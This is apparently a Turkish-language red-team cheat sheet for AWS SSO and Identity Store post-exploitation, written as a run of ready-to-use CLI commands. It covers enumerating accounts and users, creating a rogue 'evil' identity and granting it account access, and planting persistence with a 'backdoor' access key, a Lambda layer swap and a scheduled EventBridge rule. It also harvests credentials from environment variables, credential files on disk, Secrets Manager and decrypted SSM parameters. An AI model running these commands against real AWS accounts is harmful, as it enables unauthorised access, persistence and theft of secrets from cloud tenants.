Skip to content

AWS - SSO & identitystore Post Exploitation

AWS post-ex

AWS - SSO & identitystore Post Exploitation — AWS ortamında veri/exfil, yan etki ve pivot notudur. Amaç: çağıran kimliği netleştirmek, servise özel saldırı yüzeyini komutlarla doğrulamak ve kanıtlanabilir etki üretmek. Her fence tek komut/payload taşır; çıktıyı hedefe göre uyarla.

  1. Hedef veriyi / trafiği / compute’u seç.

  2. Exfil veya yan etki primitifini çalıştır.

  3. İkinci hesap / iç ağ pivotunu dene.

  4. Kanıt paketini (çıktı, hash, zaman) kaydet.

Önce kim olduğunu ve hangi hesaba/projeye/kontekste oturduğunu kilitle.

Terminal window
aws sts get-caller-identity
Terminal window
aws configure list
Terminal window
echo $AWS_ACCESS_KEY_ID $AWS_SESSION_TOKEN | sed 's/./*/g'

AWS - SSO & identitystore Post Exploitation için doğrudan uygulanabilir komutlar. Placeholder’ları (BUCKET, ROLE, FN, …) hedef değerlerle değiştir.

Terminal window
aws sso-admin list-accounts-for-provisioned-permission-set --instance-arn ARN --permission-set-arn PS
Terminal window
aws identitystore list-users --identity-store-id ID
Terminal window
aws identitystore create-user --identity-store-id ID --user-name evil --display-name evil --emails Value=evil@x.com,Type=work,Primary=true
Terminal window
aws sso-admin create-account-assignment --instance-arn ARN --target-id ACCOUNT --target-type AWS_ACCOUNT --permission-set-arn PS --principal-type USER --principal-id UID
Terminal window
aws sso-admin list-instances
Terminal window
aws sso-admin list-permission-sets --instance-arn ARN

Erişimi tekrar kullanılabilir kanala çevir veya veriyi dışarı al. İkinci bir oturumdan doğrula.

Terminal window
aws iam create-access-key --user-name backdoor
Terminal window
aws lambda update-function-configuration --function-name FN --layers LAYER_ARN
Terminal window
aws events put-rule --name persist --schedule-expression 'rate(6 hours)'

Env, metadata, secret store ve CI loglarından ikinci kimlik topla; yeni principal ile döngüyü tekrarla.

Terminal window
env | rg -i 'key|secret|token|password|aws_|azure|gcp|kube'
Terminal window
printenv | sort
Terminal window
find / -name '*.pem' -o -name 'credentials' -o -name '*.json' 2>/dev/null | head -n 40
Terminal window
aws secretsmanager list-secrets
Terminal window
aws ssm get-parameters-by-path --path / --recursive --with-decryption

Rapor için yeniden üretilebilir çıktı bırak: komut, zaman, hesap/arn, etki özeti.

request/response veya CLI çıktısı
hesap / proje / cluster
etki: okuma | yazma | RCE | lateral
zaman damgası + dosya hash
Terminal window
mkdir -p evidence/cloud && tee evidence/cloud/notes.txt